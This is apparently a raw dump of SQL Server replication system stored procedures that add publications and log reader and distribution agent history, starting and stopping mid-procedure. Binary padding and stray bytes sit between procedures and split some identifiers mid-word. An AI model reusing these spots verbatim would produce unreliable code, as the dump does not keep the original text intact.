				GOTO UNDO
			end
		end
		else
		begin
			if not exists (select * from msdb.dbo.sysjobs_view  
				where job_id = @job_id 
				and UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and master_server = 0)
			begin
				-- Message from msdb.dbo.sp_verify_job_identifiers
				RAISERROR(14262, -1, -1, 'Job', @name)          
				GOTO UNDO
			end
		end
    end

	-- retrieve the job step uid
	if @job_id is NOT NULL
		and @job_step_uid is NULL
	begin
		select @job_step_uid = sjs.step_uid
			from msdb.dbo.sysjobs_view as sjv
				join msdb.dbo.sysjobsteps as sjs
					on sjv.job_id = sjs.job_id
			where sjv.job_id = @job_id
				and sjv.master_server = 0
				and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and sjv.category_id = 13
				and sjs.subsystem = N'LogReader'
				and sjs.database_name = db_name()
	end

    -- Generate a job GUID for remote agents. This will be used by the UI to uniquely
    -- identify rows returned by the enums
    if @local_job = 0
    begin
		-- Third party publication will pass in logreader agent name which is created as
		-- a SQLServerAgent job.
		if @name is not null 
			select @job_id = job_id from msdb.dbo.sysjobs_view where
				name = @name
		if @job_id is null
			set @job_id = newid()
		-- Reset @local_job to 1 so that repl monitor can start the job.
		-- In sp_MSdrop_logreader_agent, we will not drop the job if the publication 
		-- is from third party.
		else
			set @local_job = 1
    end

    UPDATE MSlogreader_agents 
    SET name = @name,
            job_id = @job_id,
            job_step_uid = @job_step_uid
    WHERE id = @agent_id
    IF @@ERROR <> 0
        GOTO UNDO
	
    COMMIT TRAN

    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(%	zY`vCREATE PROCEDURE sys.sp_MSadd_publication 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @publication_id int = 0,                    
    @publication_type int = 1,                  -- 0 = Transactional 1 = Snapshot  2 = Merge
    @independent_agent bit = 0,
    @immediate_sync bit = 0,
    @allow_push bit = 1,
    @allow_pull bit = 0,
    @allow_anonymous bit = 0,
    @snapshot_agent nvarchar(100) = NULL,			-- IGNORED : NO LONGER VALID
    @logreader_agent nvarchar (100) = NULL,			-- IGNORED : NO LONGER VALID
    @description nvarchar(255) = NULL,
    @retention int =60,
    @vendor_name nvarchar(100) = 'Microsoft SQL Server',
    @sync_method int = 0,
    @allow_subscription_copy bit = 0,
    @thirdparty_options int = NULL,
    @allow_queued_tran bit = 0,
    @queue_type int = NULL,
    @publisher_type sysname = N'MSSQLSERVER',
    @options int = 0,
    @retention_period_unit tinyint = 0,
    @publisher_engine_edition int = null,
    @allow_initialize_from_backup bit = 0
)
as
BEGIN
    set nocount on

    DECLARE @thirdparty_flag bit                    -- 0 = SQL Server 1 = Third Party
                ,@publisher_id smallint
                ,@retcode int
                ,@platform int
                ,@platform_nt int
                ,@platform_desktop int
                ,@agentname nvarchar(100)
                ,@dbname sysname

    select @platform = platform()
            ,@platform_nt = 0x1
            ,@platform_desktop = 0x100
            ,@dbname = db_name()

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database (sp_MSvalidate_distpublisher
    -- does this check implicitly)
    --
    /*
    if (sys.fn_MSrepl_isdistdb (@dbname) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_publication', 'distribution')
        return (1)
    end
    */
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
        return(1)

    -- Get third party flag
    select @thirdparty_flag = thirdparty_flag from msdb.dbo.MSdistpublishers
        where name = UPPER(@publisher)
    
    /*
    ** Parameter Check: @publication. (For 3rd party publications.)
    ** The @publication name must conform to the rules for identifiers,
    ** and must not be the keyword 'all'.
    */

    exec @retcode = sys.sp_MSreplcheck_name @publication, '@publication', 'sp_MSadd_publication'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    IF LOWER (@publication) = N'all'
    BEGIN
        RAISERROR (14034, 16, -1)
        RETURN (1)
    END

    -- Parameter Check: @publication_type
    -- Make sure that the publication type is one of the following:
    -- 0  transactional
    -- 1  snapshot
    -- 2  merge
    if @publication_type not in (0,1,2)
    begin
        raiserror(20033, 16, -1)
        return (1)
    end

    -- disable tran/queued publishing on Win9x
    if (@publication_type = 0 or @allow_queued_tran = 1) and (@platform & @platform_nt != @platform_nt)
    begin
        raiserror(21764, 16, 1)
        return (1)
    end

    if (@publication_type = 0) and (@platform & @platform_desktop = @platform_desktop)
    begin
        raiserror(21108, 16, -1)
        return (1)
    end

    -- Parameter Check: @immediate_sync
    -- The publication must support independent_agent to support immediate_sync
    if @immediate_sync = 1 and @independent_agent != 1
    begin
        raiserror(21022, 16, -1)
        return (1)
    end

    -- Parameter Check: @allow_anonymous
    -- The publication must support immediate_sync to support anonymous.
    if @allow_anonymous = 1 and @immediate_sync != 1
    begin
        raiserror(20011, 16, -1)
        return (1)
    end
    
    -- Make sure publication does not already exist
    if exists (select * from dbo.MSpublications where publication = @publication and
        publisher_id = @publisher_id and publisher_db = @publisher_db)
    begin
        if @thirdparty_flag = 1
        begin
            raiserror(14016, 16, -1, @publication)
            return (1)
        end
        else
        begin
            --
            -- clean up orphans if necessary
            --
            exec @retcode = sys.sp_MSdrop_publication 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @cleanup_orphans = 1
            if @@error <> 0 or @retcode <> 0
                return (1)
        end
    end
 
    --
    -- For MSMQ queue type - Distributor needs to support MSMQ 2.0
    -- in case we support a pre-Yukon publisher.
    -- Post Yukon - this block can be removed
    --
    if (@queue_type = 1 and @allow_queued_tran = 1)
    begin
        --
        -- Now we use xp_MSver to detect NT OS version
        -- MSMQ subscription only allowed for platforms that support MSMQ 2.0
        -- version 5.0.2195 or higher
        --
        create table #tosversion ( propid int, propname sysname collate database_default, value int, charvalue nvarchar(255) collate database_default)
        insert into #tosversion (propid, propname, value, charvalue)
            exec master.dbo.xp_msver N'WindowsVersion'

        declare @vervalue int
                ,@lobyte tinyint
                ,@hibyte tinyint
                ,@loword smallint
                ,@hiword smallint

        --
        -- low order byte of low order word = OSmajor, high order byte of low order word = OSminor
        -- high order word = OSbuild
        --
        select @vervalue = value from #tosversion where propname = N'WindowsVersion'
        select @loword = (@vervalue & 0xffff)
                ,@hiword = (@vervalue / 0x10000) & 0xffff
        select @lobyte = @loword & 0xff
                ,@hibyte = (@loword / 100) & 0xff
        drop table #tosversion

        --
        -- check for OS major version
        --
        if (@lobyte < 5)
        begin
            raiserror(21334, 16, 4, '2.0')
            return (1)
        end

        --
        -- check for OS build version
        --
        if (@lobyte = 5 and @hiword < 2195)
        begin
            raiserror(21334, 16, 5, '2.0')
            return (1)
        end
    end

    begin tran
    save tran MSadd_publication

    insert into dbo.MSpublications (publisher_id, publisher_db, publication, publication_type, thirdparty_flag,
        independent_agent, immediate_sync, allow_push, allow_pull, allow_anonymous, description,
        vendor_name, retention, sync_method, allow_subscription_copy, thirdparty_options, 
        allow_queued_tran, options, retention_period_unit, allow_initialize_from_backup)
    values (@publisher_id, @publisher_db, @publication, @publication_type, @thirdparty_flag, 
        @independent_agent, @immediate_sync, @allow_push, @allow_pull, @allow_anonymous, @description, 
        @vendor_name, @retention, @sync_method, @allow_subscription_copy, @thirdparty_options, 
        @allow_queued_tran, @options, @retention_period_unit, @allow_initialize_from_backup)
    if @@error <> 0
        goto UNDO
    select @publication_id = @@identity

    -- Enable the distribution cleanup agent if transactional or snapshot publicational
    if @publication_type = 0 or @publication_type = 1
    begin
        select @agentname = name 
        from msdb.dbo.sysjobs as j
            join msdb.dbo.sysjobsteps as s 
                on j.job_id = s.job_id
        where j.category_id = 11 
            and s.database_name = @dbname

		if @agentname is n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(&	2voCREATE PROCEDURE sys.sp_MSadd_logreader_history 
(
    @agent_id int,
    @runstatus int,
    @comments nvarchar(4000),
    @xact_seqno varbinary(16) = NULL,
    @delivery_time int = 0,                 -- Current delivery time (milliseconds)
    @delivered_transactions int = 0,        -- Running total of session
    @delivered_commands int = 0,            -- Running total of session
    @delivery_latency int = 0,              -- Current latency 
    @log_error bit = 0,
    @perfmon_increment bit = 1,
    @update_existing_row bit = 0,
    @do_raiserror bit = 1,
	@updateable_row bit = 1		-- used to override history verbose level to decide
									-- whether the row being added can be updated by another.	
)
AS
BEGIN
	set nocount on 
	DECLARE @current_time datetime
			,@start_time datetime
			,@duration int
			,@average_commands int
			,@delivery_rate float
			,@error_id int
			,@retcode int
			,@idle int
			,@succeed int
			,@startup int
			,@retry int
			,@inprogress int
			,@failure int
			,@lastrow_timestamp timestamp
			,@publisher sysname
			,@publisher_db sysname
			,@publication sysname
			,@agent_name nvarchar(100)
			,@last_delivered_commands int
			,@last_delivered_transactions int
			,@latest_delivered_commands int
			,@latest_delivered_transactions int
			,@latest_delivery_rate float
			,@last_delivery_rate float             -- was declare as int for perfmon,but never used in perfmon, change back to float to eb consistant with other rates
			,@last_delivery_latency int
			,@last_delivery_time int
			,@avg_delivery_rate float
			,@avg_delivery_latency int
			,@total_delivery_time int
			,@agentclassname sysname
			,@last_xact_seqno varbinary(16)
			,@prev_runstatus int
			,@prev_start_time datetime
			,@existing_row_updateble bit
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_logreader_history', 'distribution')
        return (1)
    end
    
	/* 
	** Status const defined in sqlrepl.h 
	*/
	select @startup = 1
			,@succeed = 2
			,@inprogress = 3
			,@idle = 4
			,@retry = 5
			,@failure = 6
			,@current_time = GETDATE()

    -- Update Perfmon counter
    if @perfmon_increment = 1
    begin
        if @runstatus = @startup
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Logreader", 1)
        else if (@runstatus = @succeed or @runstatus = @retry or @runstatus = @failure)
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Logreader", -1)
    end

    -- The initial values provided below are needed for the first entry for the agent that
    -- appears in MSlogreader_history.  Normally, this occurs when the initialization message
    -- is logged (@runstatus = 1).  It can also occur when an error message is logged before
    -- the startup message is written. For message subsequent to the first message, these
    -- values are overwritten.

    SELECT @start_time = @current_time
    SET @last_delivered_commands = 0
    SET @last_delivered_transactions = 0
    SET @last_delivery_latency = 0
    SET @last_delivery_time = 0
    SET @last_delivery_rate = 0
    SET @last_delivery_latency = 0

        if(@update_existing_row = 1 and substring(@comments, 1, 7) = N'<stats ')
    	set @update_existing_row = 0


    /* Get start_time for latest agent run */
    select @agent_name = N'DEFAULTAGENT'
    select @agent_name = isnull(name, N'DEFAULTAGENT') from MSlogreader_agents where id = @agent_id
    IF @runstatus <> 1  -- Startup status
    BEGIN
        SELECT TOP 1 @start_time = start_time, 
            @lastrow_timestamp = timestamp, 
            @last_delivered_commands = isnull(delivered_commands, 0),
            @last_delivered_transactions = isnull(delivered_transactions, 0),
            @last_delivery_latency = isnull(delivery_latency, 0),
            @last_delivery_time = isnull(delivery_time, 0),
            @last_delivery_rate = isnull(delivery_rate, 0),
            @last_xact_seqno = xact_seqno
            ,@existing_row_updateble = updateable_row
        FROM MSlogreader_history with (rowlock)
            WHERE agent_id = @agent_id
            	and comments not like N'<stats state%'
                ORDER BY timestamp DESC
    END
    ELSE
    BEGIN
    	SELECT TOP 1 
    		@prev_runstatus = runstatus,
			@prev_start_time = start_time,
    		@last_xact_seqno = xact_seqno,
			@last_delivery_latency = isnull(delivery_latency, 0)
           ,@existing_row_updateble = updateable_row
        FROM MSlogreader_history with (rowlock)
            WHERE agent_id = @agent_id
            ORDER BY timestamp  DESC

		IF @prev_runstatus IN (@startup, @retry)
		BEGIN
			SELECT @start_time = @prev_start_time
		END

        -- New logreader message "Validating publisher" has runstatus = 1
        -- and precedes message "Initializing". Only the first of these startup
        -- messages should set startup for Perfmon counters.
		IF @prev_runstatus != @startup
		BEGIN
		    -- Set Startup Perfmon counters
            dbcc addinstance ("SQL Replication Logreader", @agent_name)
            dbcc setinstance ("SQL Replication Logreader", "Logreader:Delivery Latency", @agent_name, @last_delivery_latency )
        END
    END

    /* Use the current time if no corresponding start_up message logged */
    IF @start_time is NULL
       SELECT @start_time = @current_time

    -- Calculate number of transactions in this history
    set @latest_delivered_commands = @delivered_commands - @last_delivered_commands

    -- Calculate number of commands in this history
    set @latest_delivered_transactions = @delivered_transactions - @last_delivered_transactions

    /* Calculate agent run duration */
    SELECT @duration = DATEDIFF(second, @start_time, @current_time) 

    -- Calculate total delivery_time 
    if @latest_delivered_commands <> 0      -- Work around for Logreader passing in @delivery_time on shutdown.
        SELECT @total_delivery_time = @delivery_time + @last_delivery_time
    else
        SELECT @total_delivery_time = @last_delivery_time

    -- Calculate average delivery_rate of the session
    IF @latest_delivered_commands <> 0 and @total_delivery_time <> 0
    BEGIN
        SELECT @avg_delivery_rate = (@delivered_commands * 1.0)/(@total_delivery_time/1000.0)

        -- Current history delivery rate
        if @delivery_time <> 0
            SELECT @latest_delivery_rate = (@latest_delivered_commands * 1.0)/(@delivery_time/1000.0)
        else 
            SELECT @latest_delivery_rate = 0
    END
    ELSE
    BEGIN
        SELECT @avg_delivery_rate = @last_delivery_rate
        SELECT @latest_delivery_rate = 0
    END

    -- Calculate the average delivery_latency of the session
    if @latest_delivered_commands <> 0      -- Work around for Logreader passing in @delivery_latency on shutdown.
    BEGIN
        IF @delivery_latency <> 0
            IF @last_delivery_latency <> 0
                SELECT @avg_delivery_latency = (@delivery_latency + @last_delivery_latency)/2
            ElSE
                SELECT @avg_delivery_latency = @delivery_latency
        ELSE
            SELECT @avg_delivery_latency = 0
    END
    ELSE
    BEGIN
        SELECT @avg_delivery_latency = @last_delivery_latency

        -- Ignore latency value if no commands
        SELECT @delivery_latency = 0    
    END

    /*
    ** Calculate average number of commands per transaction
    */
    IF @delivered_commands <> 0
       SELECT @average_commands = @delivered_commands/@delivered_transactions
    ELSE

       SELECT @average_comma!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<'	Oonds = 0

	-- set xact_seqno to last value if not already set
	if (@xact_seqno = 0x or @xact_seqno is NULL) and @last_xact_seqno is not null
	begin
		select @xact_seqno = @last_xact_seqno
	end
	
    -- Set Perfmon counters
    -- Note that Startup perfmon counters are set above
    if @runstatus = @idle or @runstatus = @inprogress
    begin
        dbcc addinstance ("SQL Replication Logreader", @agent_name)
        dbcc incrementinstance ("SQL Replication Logreader", "Logreader:Delivered Trans/sec", @agent_name, @latest_delivered_transactions)
        dbcc incrementinstance ("SQL Replication Logreader", "Logreader:Delivered Cmds/sec", @agent_name, @latest_delivered_commands)
        dbcc setinstance ("SQL Replication Logreader", "Logreader:Delivery Latency", @agent_name, @delivery_latency)
    end

    /* 
    ** Set error id to 0 unless the user want to log errors associate with this 
    ** history message.
    */
    SELECT @error_id = 0
    IF @log_error = 1
        -- Ignore errors here. @error_id will be set to 0 in case of errors  
        EXEC sys.sp_MSget_new_errorid @error_id OUTPUT

    -- Insert idle record or update if history record is already 'idle'
    IF ((@existing_row_updateble = 1 ) and (@runstatus = @idle or @update_existing_row = 1))
    begin
        -- Attempt to update the last row if it is IDLE
        if (@runstatus = @idle)
        begin
            UPDATE MSlogreader_history SET runstatus = @runstatus, time = @current_time,
            duration = @duration,comments = @comments,
			error_id = case @error_id when 0 then error_id else @error_id end
			,updateable_row = @updateable_row
            WHERE
            agent_id = @agent_id and
            timestamp = @lastrow_timestamp and
            ( runstatus = @runstatus or 
            (@update_existing_row = 1 and runstatus in (@idle, @inprogress) and @runstatus in (@idle, @inprogress)) )
        end
        else
        begin
            UPDATE MSlogreader_history SET runstatus = @runstatus, start_time = @start_time, 
            time = @current_time,
            duration = @duration, comments = @comments,
            xact_seqno = @xact_seqno,
            delivery_time = @total_delivery_time,
            delivered_transactions = @delivered_transactions,
            delivered_commands = @delivered_commands,
            average_commands = @average_commands,
            delivery_rate = @avg_delivery_rate,
            delivery_latency = @avg_delivery_latency,
			error_id = case @error_id when 0 then error_id else @error_id end
			,updateable_row = @updateable_row
			WHERE
            agent_id = @agent_id and
            timestamp = @lastrow_timestamp and
            ( runstatus = @runstatus or 
            (@update_existing_row = 1 and runstatus in (@idle, @inprogress) and @runstatus in (@idle, @inprogress)) )
        end

        -- Insert idle record if there is not one
        if @@ROWCOUNT = 0
        begin
            -- Use last values because nothing was done
            INSERT INTO MSlogreader_history VALUES (@agent_id, @runstatus, @start_time, @current_time, 
                @duration, @comments,  
                @xact_seqno, @total_delivery_time, @delivered_transactions, @delivered_commands,
                @average_commands, @avg_delivery_rate, @avg_delivery_latency, @error_id, NULL, @updateable_row)
        end
    end
    else
    begin
        INSERT INTO MSlogreader_history VALUES (@agent_id, @runstatus, @start_time, @current_time, 
            @duration, @comments, 
            @xact_seqno, @total_delivery_time, @delivered_transactions, @delivered_commands,
            @average_commands, @avg_delivery_rate, @avg_delivery_latency, @error_id, NULL, @updateable_row)
    end

    -- Get named information 
    select @publisher = srvname, @publisher_db = publisher_db, @publication = publication,
        @agent_name = isnull(name, N'DEFAULTAGENT') from master.dbo.sysservers, MSlogreader_agents where
        id = @agent_id and
        publisher_id = srvid

 	-- Raise the appropriate error
	if @do_raiserror = 1
	begin
		select @agentclassname = formatmessage(14552)

		-- Only use the first 255 characters of the comment
		select @comments = left(@comments, 255)

		exec sys.sp_MSrepl_raiserror @agentclassname, @agent_name, @runstatus, @comments
	end

    IF @@ERROR <> 0
    BEGIN
       RETURN (1)
    END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<((	=o,v[CREATE PROCEDURE sys.sp_MSadd_distribution_history 
(
	@agent_id int,
	@runstatus int, 
	@comments nvarchar(max),
	@xact_seqno binary(16) = 0x00,      -- We use binary(16)to pad it out for the below compare
	@delivered_transactions int = 0,        -- Running total for the session
	@delivered_commands int = 0,            -- Running total for the session
	@delivery_rate float = 0,               -- Last rate (cmds/sec)
	@log_error bit = 0,
	@perfmon_increment bit = 1,
	@xactseq varbinary(16) = NULL,      
	@command_id int = NULL,
	@update_existing_row bit = 0,
	@updateable_row bit = 1,		-- used to override history verbose level to decide
									-- whether the row being added can be updated by another.	
	@do_raiserror bit = 1
)
AS
BEGIN

	set nocount on

	DECLARE @current_time datetime
			,@start_time datetime
			,@entry_time datetime
			,@duration int                   -- milliseconds
			,@delivery_latency int
			,@average_commands int
			,@total_cmds bigint
			,@publisher_id smallint
			,@publisher_db sysname
			,@publication sysname
			,@publisher sysname
			,@subscriber_id smallint
			,@subscriber sysname
			,@subscriber_db sysname
			,@article sysname
			,@article_id int
			,@publication_id int
			,@publisher_database_id int

			,@agent_name nvarchar(100)
			,@error_id int 
			,@startup int
			,@succeed int
			,@inprogress int
			,@retry int
			,@failure int
			,@validation_failure int
			,@validation_success int, @error_skipped int
			,@requested_shutdown int
			,@raiserror_status int
			,@idle int
			,@lastrow_timestamp timestamp
			,@lastrow_xact_seqno binary(16)
			,@new_delivered_commands int
			,@new_delivered_transactions int
			,@retcode int
			,@last_delivery_rate float
			,@last_delivery_latency int
			,@avg_delivery_rate float
			,@avg_delivery_latency int
			,@perfmon_delivery_rate int
			,@existing_row_updateble bit
			,@this_row_updateable bit
			,@agentclassname sysname
			,@MAXINT bigint
			,@prev_runstatus int
			,@prev_start_time datetime
			
    --
    -- PAL Security Check
    --
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_id = @agent_id,
        @agent_type = 0 -- distribution agent
    if @@error <> 0 or @retcode <> 0
        return (1)
	/* 
	** Status const defined in sqlrepl.h 
	*/
	select @startup = 1
			,@succeed = 2
			,@inprogress = 3
			,@idle = 4
			,@retry = 5
			,@failure = 6
			,@validation_failure = 7
			,@validation_success = 8
			,@requested_shutdown = 9
			,@error_skipped = 10
			,@MAXINT = 9223372036854775807

    -- To prevent cleanup up being messed up by invalid history message, only log
    -- valid history message. 
    if @runstatus > 10 or @runstatus < 0
    begin
        --Invalid history message logged
        RAISERROR (21079, 16, -1, @runstatus)
        return (1)
    end

    if(@update_existing_row = 1 and substring(@comments, 1, 7) = N'<stats ')
    	set @update_existing_row = 0

    select @existing_row_updateble = 1
    select @this_row_updateable = 1

    select @raiserror_status = @runstatus
    if (@runstatus = @validation_failure or @runstatus = @validation_success 
		or @runstatus = @requested_shutdown or @runstatus = @error_skipped)
    begin
        select @runstatus = @inprogress
        select @this_row_updateable = 0
    end

	if (@updateable_row = 0)
	begin
		select @this_row_updateable = 0
	end
    
    SELECT @current_time = GETDATE()

    -- Update Perfmon counter
    if @perfmon_increment = 1
    begin
        if @runstatus = @startup
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Distribution", 1)
        else if (@runstatus = @succeed or @runstatus = @retry or @runstatus = @failure)
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Distribution", -1)
    end

    -- Get agent name, publisher id and publisher_db
    select @agent_name = name, 
        @publisher_database_id = publisher_database_id,
        @publisher_id = publisher_id, @publisher_db = publisher_db,
        @publication =  publication, @subscriber_id = subscriber_id, @subscriber_db = subscriber_db
        from MSdistribution_agents
        where id = @agent_id
    select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id
    select @subscriber = srvname from master.dbo.sysservers where srvid = @subscriber_id

    /* Get start_time and xact_seqno for latest agent run */
    IF @runstatus <> 1   
    BEGIN
          
        SELECT TOP 1 
            @lastrow_xact_seqno = xact_seqno,
            @start_time = start_time, 
            @total_cmds = total_delivered_commands,
            @lastrow_timestamp = timestamp, 
            @new_delivered_transactions = @delivered_transactions - delivered_transactions,
            @new_delivered_commands = @delivered_commands - delivered_commands,
            @last_delivery_rate = delivery_rate,
            @last_delivery_latency = delivery_latency,
            @existing_row_updateble = updateable_row
        FROM MSdistribution_history with (rowlock)
            WHERE agent_id = @agent_id 
            	and comments not like N'<stats state%'
            ORDER BY timestamp  DESC
            
        /* 
        ** Check the case where the user did not pass in the proper values
        ** for delivered commands and transactions (this leads to negative
        ** new command/tran counts).
        */
        if ( @new_delivered_commands < 0 )
            SELECT @new_delivered_commands = 0

        if ( @new_delivered_transactions < 0 )
            SELECT @new_delivered_transactions = 0
    END
    ELSE
    BEGIN
        -- At least get running total of commands over all sessions.
        SELECT TOP 1 
        	@prev_runstatus = runstatus,
			@prev_start_time = start_time,
            @lastrow_xact_seqno = xact_seqno,
            @total_cmds = total_delivered_commands,
            @last_delivery_latency = delivery_latency
            FROM MSdistribution_history with (rowlock)
            WHERE agent_id = @agent_id
            ORDER BY timestamp  DESC

        set @last_delivery_latency = isnull(@last_delivery_latency, 0)
	    -- Set Startup Perfmon counters
        dbcc addinstance ("SQL Replication Distribution", @agent_name)
        dbcc setinstance ("SQL Replication Distribution", "Dist:Delivery Latency", @agent_name, @last_delivery_latency)

    	IF @prev_runstatus IN (@startup, @retry)
    	BEGIN
			SELECT @start_time = @prev_start_time
    	END
    	ELSE
    	BEGIN
        	SELECT @start_time = @current_time
        END
        SELECT @new_delivered_commands = @delivered_commands
        SELECT @new_delivered_transactions = @delivered_transactions
        SELECT @last_delivery_rate = 0
        SELECT @last_delivery_latency = 0
    END

    IF @total_cmds IS NULL
        SELECT @total_cmds = 0

	if @new_delivered_commands IS NULL
		SELECT @new_delivered_commands = 0

	if @new_delivered_transactions IS NULL
		SELECT @new_delivered_transactions = 0

    /* Use the current time if no corresponding start_up message logged */
    IF @start_time is NULL
       SELECT @start_time = @current_time

    /* Calculate agent run duration */
    SELECT @duration = DATEDIFF(second, @start_time, @current_time) 
    
   IF @delivered_commands <> 0 and @delivered_transactions <> 0
       SELECT @average_commands = @delivered_commands/@delivered_transactions
    ELSE
       SELECT @average_commands = 0

    -- Get the entry time of the last distributed transaction
    if @xact_seqno <> 0x00 and @new_delivered_commands <> 0
        -- SELECT @entry_time = entry_time FROM MSrepl_transactions with (READPAST)
        SELECT @entry_time = entry_time FROM MSrepl_transactions with (nolock)
           WHERE xact_seqno = @xact_seqno and
                publisher_database_id = @publisher_database_id

    -- Calculate the !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<()	=21>v[latency of the last distributed transaction
    IF @entry_time IS NOT NULL
	begin
	   -- Calculte diff in minutes.
	   declare @diff_min int
	   select @diff_min = DATEDIFF(minute, @entry_time, @current_time)
	   if @diff_min > 16666
			select @delivery_latency = 999999999
       else 
			select @delivery_latency = DATEDIFF(millisecond, @entry_time, @current_time)
	end
    ELSE
       SELECT @delivery_latency = 0

    -- Calculate the average delivery latency of the session
    IF @last_delivery_latency = 0 or @last_delivery_latency is null
        SET @avg_delivery_latency = @delivery_latency
    ELSE IF @delivery_latency = 0
        SET @avg_delivery_latency = @last_delivery_latency
    ELSE
        SET @avg_delivery_latency = (@delivery_latency + @last_delivery_latency)/2

	--at the end of snapshot, set delivery_latency to 0 so that monitor does not raise false alarm
    if @runstatus = @succeed
    begin 
    	if substring(@comments, 1, 20) = N'Applied the snapshot'
    	begin
	       SELECT @delivery_latency = 0, @avg_delivery_latency = 0
    	end 
	end    

    -- Calculate average delivery rate of the session
    IF @last_delivery_rate = 0 or @last_delivery_rate is null
        SET @avg_delivery_rate = @delivery_rate
    ELSE IF @delivery_rate = 0 or @new_delivered_commands = 0
        SET @avg_delivery_rate = @last_delivery_rate
    ELSE
        SET @avg_delivery_rate = (@delivery_rate + @last_delivery_rate)/2.0     

	/* Calculate grand total of delivered trans across sessions, check
	** to make sure the result does not overflow integer column  
	*/
    if (@total_cmds > @MAXINT  - @new_delivered_commands)
		SET @total_cmds = @MAXINT
	else
		SET @total_cmds = @total_cmds + @new_delivered_commands

    -- Set Perfmon counters
    -- Note that Startup perfmon counters are set above
    --now that we may write in-prograss msg with 0 cmds 0 trans for informational purpose
    --, no need to write those to perfmon
